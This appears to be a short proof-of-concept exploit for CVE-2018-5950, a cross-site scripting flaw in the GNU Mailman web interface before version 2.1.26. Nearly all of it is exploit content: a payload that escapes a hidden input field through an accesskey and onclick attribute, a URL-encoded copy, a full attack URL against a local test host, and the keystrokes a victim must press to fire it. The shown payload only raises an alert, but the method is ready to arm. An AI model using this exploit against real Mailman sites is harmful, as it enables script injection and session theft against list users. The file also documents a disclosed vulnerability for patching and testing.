  # POC Author:		Valerio Alessandroni 
  # Date: 		28/10/2020
  # Description:		Cross-site scripting (XSS) vulnerability in the web UI in Mailman before 2.1.26 allows remote attackers to inject arbitrary web script or HTML via a user-options URL.
  #
  # https://127.0.0.1/cgi-bin/mailman/options/[LIST]/[EMAIL][XSS]
  # Which [LIST] is a valid list, [EMAIL] is a valid email and [XSS] is the payload
  #
  # For this POC I used the following payload
  # CVE:CVE-2018-5950
  
  "accesskey%3d"x"onclick%3d"alert`XSS`"
  
  # Due the payload is loaded inside an HIDDEN INPUT TYPE, until today the only way to trigger the malicious code is via the accesskey attribute.
  # An URL Encoded version of the payload is 
  
  %22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22
  
  # URL Example:
  
  https://127.0.0.1/cgi-bin/mailman/options/list_name/test@test.com%22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22
  
  # In order to trigger the alert, the victim has to press the following buttons ALT+SHIFT+X
  # where X is an arbitrary button inserted as accesskey attribute in the payload.
